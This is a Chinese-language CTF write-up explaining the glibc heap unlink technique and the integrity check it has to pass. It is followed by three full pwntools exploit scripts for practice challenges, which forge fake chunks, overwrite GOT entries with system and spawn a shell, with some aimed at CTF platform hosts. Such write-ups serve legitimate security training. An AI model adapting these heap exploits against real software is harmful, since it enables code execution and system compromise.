Unlink
zach0ry

unlink 的目的是把一个块从链表中摘除,也就是“解链”。

unlink 触发的典型情况是:当堆中的 chunk 被释放并合并(consolidate)时,glibc 为了维护双向链表结构,需要从 bin 中移除一个 chunk,而这时就会调用 unlink 宏。

📌 2. 哪些情况下会触发 unlink

✅ Case 1:合并时(consolidation)

1
free(p);

如果 p 后面的 chunk 也是 free 的(即没有 PREV_INUSE 位),就会尝试合并前后的 chunk。

此时,后一个 chunk 已经被加入 bin,为了合并,要先从 bin 中移除它 ——> 触发 unlink

✅ Case 2:malloc_consolidate()(fastbin consolidation)

malloc() 时,如果 fastbin 满了,或触发某种条件(如 top chunk 太小),glibc 会调用:

1
malloc_consolidate()

这个函数会把 fastbin 的多个 chunk 合并入 unsorted bin,也可能对邻接 chunk 做合并 ——> 也会触发 unlink

✅ Case 3:释放 large chunk 之后再合并

如果释放一个 large chunk(非 fastbin),它会被放入 large bin,之后又分配/释放了相邻 chunk,可能导致再次合并 ——> 触发 unlink

unlink的整体利用思路为

①、利用溢出伪造fake_chunk

②、free掉引线堆块(也就是被溢出修改prev_size和size的chunk),从而触发unlink(注意chunk别跟top chunk合并了),同时引线堆块的大小一定要大于等于0x80,避免被free掉给放进了fastbin中。

因为 fastbin(以及现代的 tcache)走的是“单链表/快速入队”路径——释放时不会执行传统的双向链表 unlink 操作(也就没有 FD->bk = BK / BK->fd = FD 那两次写)。要触发 old-style unlink,chunk 必须进入 unsorted/small bin(双链表)路径,才会触发那两次写。因此通过把伪造 chunk 的 size 设置成 ≥ 快速 bin 的最大尺寸(通常 0x80 在 64 位 glibc 上),可以避免被放入 fastbin,从而保证 free 会走到会进行 unlink 的分支。

③、最后效果为fake_chunk的地址改为&P-0x18

④、通过edit功能修改bss段存放的chunk信息,进行泄露函数真实地址以及篡改函数的got表,从而获取shell

P 是要从链表中摘下的 chunk

老libc无检验版本

先读出 FD = P->fdBK = P->bk,然后修改 FD->bkBK->fd,使前后两块直接互连,从而把 P 跳过。若攻击者能控制 P->fd/P->bk,那两次写操作就变成了 任意地址写(写入 BKFD 的值到任意地址),这正是 unsafe unlink 利用点。(赋值)

1
2
3
4
5
6
7
/* 不安全版(概念上等同于旧 glibc 的宏实现) */
#define UNSAFE_UNLINK(P, BK, FD) do { \
FD = (P)->fd; /* 读取 P->fd(指向后继) */ \
BK = (P)->bk; /* 读取 P->bk(指向前驱) */ \
FD->bk = BK; /* (P->fd)->bk = P->bk */ \
BK->fd = FD; /* (P->bk)->fd = P->fd */ \
} while (0)

直接进行赋值操作

1
2
*(fd+0x18)=bk
*(bk+0x10)=fd

eg:

1
2
FD = second_fd = free_GOT - 0x18
BK = second_bk = shellcode_address

使得调用free的时候可以直接用shellcode

加校验

在执行写之前先验证链表一致性:FD->bk 必须指回 P,且 BK->fd 也必须指回 P

若攻击者伪造 fd/bk,通常无法同时满足这两项,因此检查失败会 abort(),阻止利用。这是 unsafe unlink 被广泛缓解的关键改动之一(不过攻击者可用更复杂的技术绕过检查,或在更旧的 libc 上利用)。

1
2
3
4
5
6
7
8
9
# 带一致性检查的安全版本(逻辑与 glibc 后来加入的检查一致) 
#define SAFE_UNLINK(P, BK, FD) do {
FD = (P)->fd;
BK = (P)->bk;
if (FD->bk != (P) || BK->fd != (P))
malloc_printerr("corrupted double-linked list");
FD->bk = BK;
BK->fd = FD;
} while (0)

此时就不能直接进行赋值操作

但是看可以进行任意地址写入

利用

存在uaf漏洞或者(堆溢出)可以改写free时的smallbin或unsorted bin 的fd和bk

效果:让chunk[0]指向chunk[-3]

eg:

1
2
3
4
5
6
7
fd=tar-0x18
bk=tar-0x10
#符合校验
*(fd+0x18)=*(bk+0x10)=tar
#赋值
*(fd+0x18)=tar=*(bk-0x10)
*(bk+0x10)=tar=*(fd-0x18)

例题1

hitcontraining_bamboobox

image-20251027163627606

image-20251026114215487

add

image-20251026114228744

edit

自己控制输入长度,存在堆溢出

image-20251026114344109

free

全部置零,没有uaf漏洞

image-20251026114449434

show

可直接输出堆块内容

image-20251026114517457

思路

1.用libc3思路,创建3个堆块,0用来伪造堆块,1触发unlink, 2防止与top_chunk合并,(注意,堆块fake_heap与1合并的时候不要今入fast_bin,他是单链表管理)。通过修改0来伪造一个假的堆块然后free1触发unlink让1与2合并,并且对假堆块上的fd和bk进行赋值修改

1
2
3
4
5
6
7
8
9
tar=0x6020C8
add(0x30,b"fake_heap")
add(0x80,b"111111111")
add(0x80,b"333333333")

pay=p64(0)+p64(0x31)+p64(tar-0x18)+p64(tar-0x10)+p64(0)*2
pay+=p64(0x30)+p64(0x90)
edit(0,len(pay),pay)
delete(1)

image-20251028094054529

修改指针前:

image-20251027175348347

此时已经进行了赋值修改操作了,tar最后被改为了tar-0x18位置,也就是说heap_user[0]此时指向heap_user[-3]的位置,所以此时要加三个填充去垫高地址再写入atio,那么此时就被赋值为了atio_got,如图该处的内容此时为got表的物理地址

1
2
3
4
5
6
atoi_got=elf.got['atoi']
payload = p64(0) *2+p64(0x40)+ p64(atoi_got)
edit(0,len(payload),payload)
show()
atoi=u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00") )
log.success("atoi:"+hex(atoi))

image-20251028094817202

最后把它的got表地址赋值为system函数地址,然后传入参数

1
2
3
4
libc_base=atoi-libc.sym['atoi']
system=libc_base+libc.sym['system']
edit(0,8,p64(system))
sla('Your choice:','/bin/sh\x00')

edit(0)从堆块0的地址中取出got表把对应地址改为system函数的地址

image-20251028094912561

二者都是修改指针位置

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
from pwn import *
import sys
from LibcSearcher import *

file_path = "./12"
remote_host = "node5.buuoj.cn"
remote_port = 26935
context(arch='amd64', os='linux', log_level='debug')

context.terminal = [
"cmd.exe", "/c",
"start", "/max", "", "wt.exe",
"--profile", "WSL GDB (Black)",
"--", "wsl", "bash", "-lc"
]

elf = ELF(file_path)
libc = elf.libc
if 're' in sys.argv:
p = remote(remote_host, remote_port)
else:
p = process(file_path)
#gdb.attach(p,"b*")

def debug():
gdb.attach(p)
pause()
def sla(a, b):
p.sendlineafter(a, b)
def ru(a):
p.recvuntil(a)
def sa(a, b):
p.sendafter(a, b)

def add(size,content):
p.sendlineafter('Your choice:','2')
p.sendlineafter('name:',str(size))
p.sendafter('item:',content)


def show():
p.sendlineafter('Your choice:','1')


def edit(idx,size,content):
p.sendlineafter('Your choice:','3')
p.sendafter('item:',str(idx))
p.sendlineafter('name:',str(size))
p.sendafter('item:',content)


def delete(idx):
p.sendlineafter('Your choice:','4')
p.sendafter('item:',str(idx))

tar=0x6020C8
add(0x30,b"fake_heap")
add(0x80,b"111111111")
add(0x80,b"333333333")

pay=p64(0)+p64(0x31)+p64(tar-0x18)+p64(tar-0x10)+p64(0)*2
pay+=p64(0x30)+p64(0x90)
edit(0,len(pay),pay)
delete(1)

atoi_got=elf.got['atoi']
payload = p64(0) *2+p64(0x40)+ p64(atoi_got)
edit(0,len(payload),payload)
show()
atoi=u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00") )
log.success("atoi:"+hex(atoi))


libc_base=atoi-libc.sym['atoi']
system=libc_base+libc.sym['system']
edit(0,8,p64(system))
sla('Your choice:','/bin/sh\x00')
p.interactive()

例题2

[SUCTF 2018 招新赛]unlink

思路

先伪造一个栈,然后free触发unlink来修改指针。
之后改chunk0的内容为b”/bin/sh\x00”+p64(0)*2+p64(0x6020a8)+p64(free_got),字符串为system函数做准备,两个0是吧位置填高,p64(0x6020a8)是bin/sh所在位置,配合system使用,然后把chunk1的指针改为free的got表地址。

image-20251028100102751

show(1)计算libc基础地址,最后把free的got表地址改为system,然后delet调用就执行了我们构造的后门函数

image-20251028100157425

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
from pwn import *
import sys
from LibcSearcher import *

file_path = "./service"
remote_host = "1.95.36.136"
remote_port = 2110
context(arch='amd64', os='linux', log_level='debug')

context.terminal = [
"cmd.exe", "/c",
"start", "/max", "", "wt.exe",
"--profile", "WSL GDB (Black)",
"--", "wsl", "bash", "-lc"
]

elf = ELF(file_path)
libc = elf.libc
if 're' in sys.argv:
p = remote(remote_host, remote_port)
else:
p = process(file_path)
#gdb.attach(p,"b*")

def dbg():
gdb.attach(p)
pause()
def sla(a, b):
p.sendlineafter(a, b)
def ru(a):
p.recvuntil(a)
def sa(a, b):
p.sendafter(a, b)

def add(size):
p.recvuntil('chooice :\n')
p.sendline('1')
p.recvuntil('size :')
p.sendline(str(size))


def delete(index):
p.recvuntil('chooice :\n')
p.sendline('2')
p.recvuntil('delete\n')
p.sendline(str(index))


def show(index):
p.recvuntil('chooice :\n')
p.sendline('3')
p.recvuntil('show\n')
p.sendline(str(index))


def edit(index, content):
p.recvuntil('chooice :\n')
p.sendline('4')
p.recvuntil('modify :\n')
p.sendline(str(index))
p.recvuntil('input the content')
p.send(content)

add(0x30)
add(0x80)
add(0x20)

tar=0x6020C0
pay=p64(0)+p64(0x30)+p64(tar-0x18)+p64(tar-0x10)+p64(0)*2
pay+=p64(0x30)+p64(0x90)
edit(0,pay)
delete(1)

free_got=elf.got['free']
pay=b"/bin/sh\x00"+p64(0)*2+p64(0x6020a8)+p64(free_got)
edit(0,pay)
show(1)

free=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print(hex(free))

libc_base=free-libc.sym['free']
system_addr=libc_base+libc.sym['system']
binsh_addr=libc_base+next(libc.search(b'/bin/sh'))

edit(1,p64(system_addr))
delete(0)

p.interactive()

polar例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
from pwn import *
import sys
from LibcSearcher import *

file_path = "./pwn1"
remote_host = "1.95.36.136"
remote_port = 2066
context(arch='amd64', os='linux', log_level='debug')

context.terminal = [
"cmd.exe", "/c",
"start", "/max", "", "wt.exe",
"--profile", "WSL GDB (Black)",
"--", "wsl", "bash", "-lc"
]

elf = ELF(file_path)
libc = elf.libc
if 're' in sys.argv:
p = remote(remote_host, remote_port)
else:
p = process(file_path)
#gdb.attach(p,"b*")

def dbg():
gdb.attach(p)
pause()
def sla(a, b):
p.sendlineafter(a, b)
def ru(a):
p.recvuntil(a)
def sa(a, b):
p.sendafter(a, b)

def add(index, size):
sla(b'> ', b'1')
sla(b'Index: ', str(index).encode())
sa(b'Size:', str(size).encode())
def edit(index, content):
sla(b'> ', b'2')
sla(b'Index: ', str(index).encode())
sa(b'Content: ', content)
def delete(index):
sla(b'> ', b'3')
sla(b'Index: ', str(index).encode())

chunk=0x06020C0
add(0,0x30)
add(1,0x80)
add(2,0x20)


payload=p64(0)+p64(0x31)+p64(chunk-0x18)+p64(chunk-0x10)+p64(0)*2+p64(0x30)+p64(0x90)
edit(0,payload)
delete(1)
free_got=elf.got['free']
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
pay=b"/bin/sh\x00"+p64(0)*2+p64(puts_got)+p64(free_got)+p64(0x6020a8)
edit(0,pay)
edit(1,p64(puts_plt))
delete(0)
puts=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print("puts:",hex(puts))
libc_base=puts-libc.symbols['puts']
print("libc_base:",hex(libc_base))
system_addr=libc_base+libc.symbols['system']
bin_sh_addr=libc_base+next(libc.search(b'/bin/sh'))
print("system_addr:",hex(system_addr))
edit(1,p64(system_addr))
delete(2)




p.interactive()